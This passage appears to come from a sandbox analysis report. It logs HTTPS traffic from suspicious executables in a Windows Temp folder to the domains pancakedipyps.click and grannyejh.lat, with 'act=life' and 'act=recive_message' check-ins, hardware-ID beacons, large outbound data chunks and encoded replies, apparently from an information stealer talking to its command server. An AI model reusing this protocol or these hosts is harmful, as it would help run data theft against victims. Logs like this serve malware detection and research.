2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: fb 04 65 39 9c 63 c8 f2 0e 44 39 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e b9 3d 4f 5b 04 02 e8 be 37 95 02 f1 da e2 b2 6b Data Ascii: e9cD9GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}n*C;jy)PYz;N}~=O[7k
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: 6e fd d5 ba 8a ca 01 5d 65 d8 8b b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 af 3f c4 32 dc 1c 0f c0 c3 fa 43 4c 2f 89 c7 95 Data Ascii: n]e9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh?2CL/
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: f2 d8 d2 6f e3 71 44 e4 a0 cf 7b c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 33 49 ae 6a 90 50 dc ba b7 2b 13 f4 82 00 01 ee Data Ascii: oqD{<8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ3IjP+
2024-12-18 08:07:32 UTC	15331	OUT	Data Raw: bd 0f c2 27 8e 30 41 d8 4e 71 35 d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 ca fc dc 03 cf c7 7e f6 66 cb f7 9c 2b 6f 14 97 Data Ascii: '0ANq5-6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR~f+o
2024-12-18 08:07:36 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b43n13jnof3b5jrh5gp1c82ohr; expires=Sun, 13-Apr-2025 01:54:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L0m4dkotLUN2nWE1D37Ux7cfn%2FBFRUqz41KGIkErzH5O2dofdx9iBu8OdJzWfjonfLxU5q%2B7ua490FM3K2SgAZjMtb9HMS2lGp4XFvStIgt9qRZCU40eolCGxIk63EnT6kaPNTiY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da8ef2b3a17ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&min_rtt=1490&rtt_var=566&sent=351&recv=592&lost=0&retrans=0&sent_bytes=2847&recv_bytes=573929&delivery_rate=1922317&cwnd=171&unsent_bytes=0&cid=0be60ad1a2574657&ts=3781&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49725	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:38 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: pancakedipyps.click
2024-12-18 08:07:38 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=8C6F564B18682ACBAC8923850305D13E
2024-12-18 08:07:38 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=05mmil1dbnvgfiq06mll0q8n81; expires=Sun, 13-Apr-2025 01:54:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A46kbGcUs0drm3GeTMSrDjw7NC9I%2BIYUFEyxEjvpxn5hPo4PJGzokIDMIci0MopRVrAIa1oVkfbcLFGg4%2F5%2FBTWIyZLxFIcEnsA9JNCpMDYEM5SqaVE5Ubef91u4k3x5anXrZE81"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da910d9b1f5f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1519&min_rtt=1496&rtt_var=607&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=984&delivery_rate=1737061&cwnd=57&unsent_bytes=0&cid=8a8427391e32d00f&ts=726&x=0"
2024-12-18 08:07:38 UTC	54	IN	Data Raw: 33 30 0d 0a 46 76 6c 79 33 64 53 77 52 76 6d 77 47 6e 50 56 6c 67 66 36 53 52 35 57 72 75 61 6f 6b 59 57 45 74 4d 30 4c 42 6a 4e 59 56 56 5a 4e 70 41 3d 3d 0d 0a Data Ascii: 30Fvly3dSwRvmwGnPVlgf6SR5WruaokYWEtM0LBjNYVVZNpA==
2024-12-18 08:07:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49727	172.67.179.109	443	3060	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:44 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 08:07:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 08:07:45 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=77n3drni9kaveqlpo808amsvbm; expires=Sun, 13-Apr-2025 01:54:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DzEWs4%2Fie9fAUPip4jhPbsSvwBYTO%2BN6Uph%2B%2BcRYp%2FYYJNchpZ3ZQfvx3k1IyMwJuTufQ%2BiLn7zZtpO09oyLL%2FCyJ1NanUDyz%2FBBv04gOyFMNWgy1Up7dPRO%2Bln%2BKIcX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da93a8be20f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1634&rtt_var=622&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1746411&cwnd=218&unsent_bytes=0&cid=7063b59ce5fc38cb&ts=741&x=0"
2024-12-18 08:07:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 08:07:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49728	172.67.179.109	443	3060	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:46 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: grannyejh.lat
2024-12-18 08:07:46 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6989783370&j=
2024-12-18 08:07:47 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mt7to1g4scbdvfbj7biv4127tk; expires=Sun, 13-Apr-2025 01:54:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MQC8lb4TgpHzr6gyK%2BGmN6LOsM1gJ7cKKSGYD3s9xDEw2LRPH4pCMeAUxuLWmaCXPwsF1PInQGw8J513jTygDg%2FbZoCI2tz3i2jcfNANM%2B%2FS47TF3XmNR59acYhDJiUI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da9470f421a1f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&min_rtt=1807&rtt_var=692&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=949&delivery_rate=1566523&cwnd=228&unsent_bytes=0&cid=14557f89075094e3&ts=980&x=0"
2024-12-18 08:07:47 UTC	339	IN	Data Raw: 34 39 31 63 0d 0a 71 33 61 48 6c 5a 54 44 5a 5a 50 49 50 39 42 79 76 31 32 53 77 4b 6b 44 62 6d 36 34 42 31 54 41 39 48 78 63 42 70 56 45 49 42 76 51 56 50 47 33 72 76 64 4a 73 62 74 61 38 6b 6a 4c 4c 2b 65 6c 68 53 45 50 43 70 6f 39 4d 71 47 59 44 7a 6b 71 74 7a 4a 4e 4f 5a 45 51 35 76 6e 6e 70 6b 6d 78 72 55 66 79 53 4f 51 6d 73 4b 58 48 49 56 52 4d 33 57 30 32 6f 5a 67 65 50 57 33 36 4e 45 78 34 77 78 72 67 2f 66 47 67 41 66 4b 6b 55 72 55 58 32 6a 7a 34 72 73 42 75 42 67 4f 61 4b 33 61 6c 6a 6c 35 6d 4a 4e 67 68 56 48 72 6d 46 2f 54 2b 74 72 35 4a 36 4f 70 61 76 6c 43 46 66 2f 4f 6c 79 32 38 49 43 74 4e 76 50 4b 69 51 48 7a 68 73 35 53 31 47 63 38 4d 55 34 2f 7a 37 71 52 58 2f 72 6c 57 2b 45 64 41 38 73 4f 79 4c 5a 68 52 4d 67 69 56 6c 6b 4a 55 50 4c Data Ascii: 491cq3aHlZTDZZPIP9Byv12SwKkDbm64B1TA9HxcBpVEIBvQVPG3rvdJsbta8kjLL+elhSEPCpo9MqGYDzkqtzJNOZEQ5vnnpkmxrUfySOQmsKXHIVRM3W02oZgePW36NEx4wxrg/fGgAfKkUrUX2jz4rsBuBgOaK3aljl5mJNghVHrmF/T+tr5J6OpavlCFf/Oly28ICtNvPKiQHzhs5S1Gc8MU4/z7qRX/rlW+EdA8sOyLZhRMgiVlkJUPL
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 58 42 39 74 79 46 4f 4f 5a 46 55 34 2f 6e 33 72 41 66 6a 6f 6c 61 35 46 63 38 30 2b 61 2f 47 59 51 45 47 31 57 59 32 70 5a 77 55 4d 57 37 7a 4b 30 39 2f 79 52 53 6c 75 62 61 6d 48 37 48 79 48 5a 45 56 7a 54 6a 38 74 49 6c 62 54 42 4f 55 66 48 61 6c 6d 6c 35 6d 4a 50 38 6a 51 58 72 43 47 2b 62 2f 2f 62 4d 48 34 36 78 51 74 77 4c 62 4f 76 36 6f 79 48 4d 47 41 74 78 6d 50 36 6d 66 47 7a 6c 67 74 32 67 43 66 74 46 55 76 62 66 58 72 41 7a 39 6f 45 71 79 55 4d 4a 78 36 65 4c 4d 62 55 78 55 6d 6d 45 33 70 70 63 61 4d 47 72 7a 4b 6b 52 33 78 42 76 6a 2f 66 61 6d 44 66 6d 69 58 4c 38 62 30 6a 2f 31 72 38 39 6e 41 41 33 66 4a 58 6a 69 6b 51 5a 2b 50 4c 63 49 52 58 72 62 56 74 44 30 2b 4b 38 41 35 2b 70 43 2f 41 6d 64 4f 50 7a 69 6b 79 45 43 43 64 56 33 4e 37 43 54 Data Ascii: XB9tyFOOZFU4/n3rAfjola5Fc80+a/GYQEG1WY2pZwUMW7zK09/yRSlubamH7HyHZEVzTj8tIlbTBOUfHalml5mJP8jQXrCG+b//bMH46xQtwLbOv6oyHMGAtxmP6mfGzlgt2gCftFUvbfXrAz9oEqyUMJx6eLMbUxUmmE3ppcaMGrzKkR3xBvj/famDfmiXL8b0j/1r89nAA3fJXjikQZ+PLcIRXrbVtD0+K8A5+pC/AmdOPzikyECCdV3N7CT
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 39 6d 63 32 37 43 56 74 44 30 2b 4b 38 41 35 2b 70 43 2f 41 6d 64 4f 50 7a 69 6b 79 45 42 42 4e 39 67 4f 61 4f 63 45 44 74 75 2b 79 35 4d 65 74 73 62 34 66 66 36 71 51 33 38 70 46 6d 36 47 64 59 30 39 71 4c 4b 61 30 78 43 6d 6d 49 75 34 73 35 65 43 6d 50 37 4b 30 30 37 2f 42 66 72 2b 66 47 33 52 2b 37 6b 52 50 49 58 30 58 2b 6f 34 73 64 6f 44 41 66 51 59 54 61 6c 6d 78 73 39 59 2f 51 72 52 58 50 48 45 2b 48 37 2f 36 77 42 38 61 31 5a 74 77 4c 59 4e 76 79 75 69 79 39 4d 43 38 49 6c 62 75 4b 35 47 53 68 6e 32 43 56 54 63 49 6b 4c 71 2b 36 32 70 67 75 78 38 68 32 31 46 64 55 30 39 71 72 4c 63 77 6b 43 30 57 51 38 70 4a 63 54 4d 6d 4c 33 4a 30 4a 2f 78 52 54 69 38 4f 53 7a 41 76 65 34 56 2f 4a 65 6e 54 6a 6f 34 70 4d 68 4f 68 7a 4e 64 43 44 67 6f 78 30 77 61 Data Ascii: 9mc27CVtD0+K8A5+pC/AmdOPzikyEBBN9gOaOcEDtu+y5Metsb4ff6qQ38pFm6GdY09qLKa0xCmmIu4s5eCmP7K007/Bfr+fG3R+7kRPIX0X+o4sdoDAfQYTalmxs9Y/QrRXPHE+H7/6wB8a1ZtwLYNvyuiy9MC8IlbuK5GShn2CVTcIkLq+62pgux8h21FdU09qrLcwkC0WQ8pJcTMmL3J0J/xRTi8OSzAve4V/JenTjo4pMhOhzNdCDgox0wa
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 39 78 78 4c 6a 2b 76 4f 75 44 65 4f 69 55 37 38 62 30 6a 54 69 6f 73 5a 6c 41 41 6a 53 62 6a 7a 69 32 46 34 35 66 4c 64 2b 41 6b 7a 45 47 2b 58 30 34 4f 45 59 76 37 4d 64 74 52 79 64 5a 37 43 75 78 57 45 44 41 4e 5a 75 50 71 4f 61 45 44 6c 68 2f 69 35 4b 61 38 67 51 37 66 62 34 72 67 62 31 72 31 69 32 46 39 6b 35 2f 2b 4b 46 49 51 73 55 6d 6a 31 32 6a 62 45 72 66 45 58 4e 5a 6c 30 33 30 46 54 69 2b 37 62 35 52 2f 32 70 55 62 6f 66 32 7a 62 38 71 4d 4a 71 41 41 66 65 61 54 2b 6e 6b 42 38 37 59 66 59 69 54 6e 50 50 46 2b 62 34 2b 61 34 50 73 65 51 64 74 51 69 64 5a 37 43 48 33 47 6f 43 43 70 70 36 65 4c 76 57 47 54 49 6b 72 32 5a 4f 63 4d 38 53 34 50 76 33 70 77 2f 30 6f 6c 6d 7a 46 74 73 38 2f 36 62 4f 59 41 4d 49 31 6d 73 38 6f 35 63 53 4e 57 76 38 49 77 Data Ascii: 9xxLj+vOuDeOiU78b0jTiosZlAAjSbjzi2F45fLd+AkzEG+X04OEYv7MdtRydZ7CuxWEDANZuPqOaEDlh/i5Ka8gQ7fb4rgb1r1i2F9k5/+KFIQsUmj12jbErfEXNZl030FTi+7b5R/2pUbof2zb8qMJqAAfeaT+nkB87YfYiTnPPF+b4+a4PseQdtQidZ7CH3GoCCpp6eLvWGTIkr2ZOcM8S4Pv3pw/0olmzFts8/6bOYAMI1ms8o5cSNWv8Iw
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 34 2f 6a 77 6f 41 4c 37 70 6c 71 33 47 39 49 7a 73 4f 79 4c 5a 68 52 4d 67 69 55 59 71 59 55 4a 50 57 72 38 4d 46 6b 35 31 6c 72 38 74 2f 47 74 52 36 6e 71 58 72 6b 62 32 54 2f 38 6f 73 39 73 44 42 37 56 59 6a 47 72 6e 51 77 30 59 2f 41 74 53 6e 4c 47 45 76 66 37 2b 4c 4d 43 34 37 67 64 2f 46 44 61 4a 37 44 36 69 31 63 4c 48 4d 70 6d 64 4a 4f 41 48 53 68 76 2b 69 6f 43 5a 6f 63 4e 70 66 44 36 34 56 2b 78 72 46 4b 37 45 39 49 2b 2b 61 37 47 5a 41 55 4a 32 32 4d 79 71 4a 77 65 4f 47 4c 32 49 30 68 36 79 42 37 73 38 50 36 6d 42 4f 50 71 45 2f 49 58 78 58 2b 6f 34 75 4a 6d 48 67 4c 4b 4a 53 6e 73 6a 31 34 35 61 4c 64 2b 41 6e 33 44 47 2b 48 77 2b 71 63 43 39 36 64 63 76 52 48 64 4d 50 53 70 77 6d 63 4e 41 64 39 6f 4d 72 43 63 46 54 46 6f 2f 69 70 50 4f 59 64 Data Ascii: 4/jwoAL7plq3G9IzsOyLZhRMgiUYqYUJPWr8MFk51lr8t/GtR6nqXrkb2T/8os9sDB7VYjGrnQw0Y/AtSnLGEvf7+LMC47gd/FDaJ7D6i1cLHMpmdJOAHShv+ioCZocNpfD64V+xrFK7E9I++a7GZAUJ22MyqJweOGL2I0h6yB7s8P6mBOPqE/IXxX+o4uJmHgLKJSnsj145aLd+An3DG+Hw+qcC96dcvRHdMPSpwmcNAd9oMrCcFTFo/ipPOYd
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 61 49 56 38 4b 78 50 73 68 33 58 4c 66 71 70 7a 6d 77 42 41 64 6c 6a 4d 4b 6d 61 44 44 64 6b 39 43 30 43 4e 34 6b 54 2f 62 65 75 34 53 54 6d 76 46 65 31 48 4d 73 30 38 61 48 64 62 42 78 4d 6c 43 55 6e 70 59 64 65 5a 6e 4c 6e 4d 55 56 6d 68 77 32 6c 38 50 72 68 58 37 47 73 56 4c 51 58 32 7a 48 69 70 38 31 75 41 77 58 54 59 54 36 68 6c 68 6f 36 59 2f 49 6c 54 6e 4c 4f 46 2b 72 7a 2f 36 38 4f 2f 75 6f 54 38 68 66 46 66 36 6a 69 36 6e 6f 50 41 4e 63 6c 4b 65 79 50 58 6a 6c 6f 74 33 34 43 64 63 63 52 35 66 33 77 70 51 4c 33 6f 46 69 79 47 39 34 77 39 4b 54 50 62 67 77 48 30 32 51 77 70 35 77 56 4f 47 6e 30 49 45 51 35 68 31 54 69 37 37 62 35 52 39 47 78 55 4c 34 58 6e 53 43 2b 75 34 74 6d 41 45 79 43 4a 54 32 75 6b 68 6b 2b 61 66 51 75 52 33 33 44 45 65 58 2f Data Ascii: aIV8KxPsh3XLfqpzmwBAdljMKmaDDdk9C0CN4kT/beu4STmvFe1HMs08aHdbBxMlCUnpYdeZnLnMUVmhw2l8PrhX7GsVLQX2zHip81uAwXTYT6hlho6Y/IlTnLOF+rz/68O/uoT8hfFf6ji6noPANclKeyPXjlot34CdccR5f3wpQL3oFiyG94w9KTPbgwH02Qwp5wVOGn0IEQ5h1Ti77b5R9GxUL4XnSC+u4tmAEyCJT2ukhk+afQuR33DEeX/
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 6a 71 45 2f 49 58 79 33 2b 6f 34 76 55 68 48 67 2f 4b 5a 6a 6d 7a 71 46 35 6d 66 63 6c 6d 53 57 2f 4f 42 4f 62 68 2f 61 77 4c 34 4a 51 64 36 6b 53 50 62 61 4c 77 6d 58 35 4d 45 2b 55 72 64 71 50 57 52 67 64 39 74 7a 41 43 49 5a 74 61 70 65 57 32 2b 55 65 32 71 55 2b 67 46 74 34 70 38 2b 58 31 58 79 73 61 30 47 49 6d 70 59 45 52 66 69 71 33 4b 51 49 68 38 46 54 73 38 4f 32 77 45 66 79 36 57 76 49 76 6b 33 2f 6f 34 70 4d 68 4f 51 2f 55 61 7a 47 30 68 31 4d 5a 63 76 30 68 55 6e 37 65 47 36 57 35 74 71 64 48 71 66 6b 54 38 68 54 4d 66 36 6a 79 6d 54 70 5a 58 34 30 31 5a 4c 33 59 42 33 35 79 74 33 34 51 4e 34 6b 47 70 61 2b 32 35 67 54 6a 75 46 75 78 42 74 35 34 7a 70 7a 73 65 77 45 4b 7a 58 51 49 6e 4a 45 45 4d 32 4c 67 4e 77 35 73 79 68 72 72 38 4f 44 68 53 Data Ascii: jqE/IXy3+o4vUhHg/KZjmzqF5mfclmSW/OBObh/awL4JQd6kSPbaLwmX5ME+UrdqPWRgd9tzACIZtapeW2+Ue2qU+gFt4p8+X1Xysa0GImpYERfiq3KQIh8FTs8O2wEfy6WvIvk3/o4pMhOQ/UazG0h1MZcv0hUn7eG6W5tqdHqfkT8hTMf6jymTpZX401ZL3YB35yt34QN4kGpa+25gTjuFuxBt54zpzsewEKzXQInJEEM2LgNw5syhrr8ODhS
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 71 51 4a 4e 2f 39 4c 4f 4c 4f 56 78 65 67 54 42 6c 39 63 5a 4d 49 53 72 75 5a 6c 51 35 6b 55 61 72 74 2b 54 68 58 37 48 74 58 71 41 43 32 7a 7a 6d 6f 59 78 66 4d 69 76 55 59 6a 65 30 68 67 6b 78 57 73 6b 7a 51 58 66 48 45 2f 50 6d 74 75 39 48 2f 75 6f 46 69 31 43 56 66 38 2f 73 69 33 6c 4d 56 4a 70 51 4e 61 79 59 47 53 68 31 75 67 46 4d 66 73 67 43 39 65 44 35 34 55 6d 78 72 42 33 71 51 70 4e 2f 39 4c 4f 4c 4f 56 78 65 67 54 42 6c 39 63 5a 4d 49 53 72 75 5a 6c 51 35 6b 55 61 72 74 2b 54 68 58 37 48 74 58 71 41 43 32 7a 7a 6d 6f 59 78 66 4d 69 76 55 59 6a 65 30 68 67 6b 78 4b 39 6b 51 59 30 66 33 41 65 62 35 2b 4b 59 52 34 4f 6f 54 38 68 2b 64 5a 38 6e 69 67 79 45 7a 51 70 70 39 64 76 72 57 4b 7a 31 71 2b 53 46 55 61 49 51 7a 36 2f 44 33 74 78 66 6d 70 52 Data Ascii: qQJN/9LOLOVxegTBl9cZMISruZlQ5kUart+ThX7HtXqAC2zzmoYxfMivUYje0hgkxWskzQXfHE/Pmtu9H/uoFi1CVf8/si3lMVJpQNayYGSh1ugFMfsgC9eD54UmxrB3qQpN/9LOLOVxegTBl9cZMISruZlQ5kUart+ThX7HtXqAC2zzmoYxfMivUYje0hgkxK9kQY0f3Aeb5+KYR4OoT8h+dZ8nigyEzQpp9dvrWKz1q+SFUaIQz6/D3txfmpR
2024-12-18 08:07:47 UTC	1369	IN	Data Raw: 44 76 32 6d 33 58 51 50 48 4e 31 62 43 49 2b 45 47 53 35 6e 74 52 64 55 65 73 6b 61 34 72 65 34 34 52 2b 78 38 68 32 66 41 74 6f 76 38 2b 4b 46 49 51 42 4d 67 69 55 37 73 4a 45 4f 50 53 6a 77 50 45 55 35 31 6c 72 38 74 2b 44 68 58 36 4c 6b 48 61 42 51 68 58 2b 33 72 4d 5a 67 44 77 4c 5a 64 79 53 6b 6c 51 67 39 49 38 6b 59 62 32 76 4f 42 4f 61 31 78 36 77 44 35 37 39 65 6f 68 66 6a 41 64 32 77 7a 48 45 50 54 76 5a 69 4f 36 36 6f 49 41 6c 31 38 44 59 41 58 38 6f 43 35 72 65 34 34 52 2b 78 38 68 32 66 41 74 6f 76 38 2b 44 6e 5a 67 45 41 6d 6e 70 34 75 39 59 49 66 6a 79 6b 61 41 4a 72 69 55 79 6c 73 50 57 7a 46 66 65 70 53 37 46 58 34 77 48 64 73 4d 78 78 44 30 37 72 61 44 4b 30 67 78 30 75 59 38 6b 59 62 32 76 4f 42 4f 61 31 30 35 74 46 77 4c 78 65 73 68 37 Data Ascii: 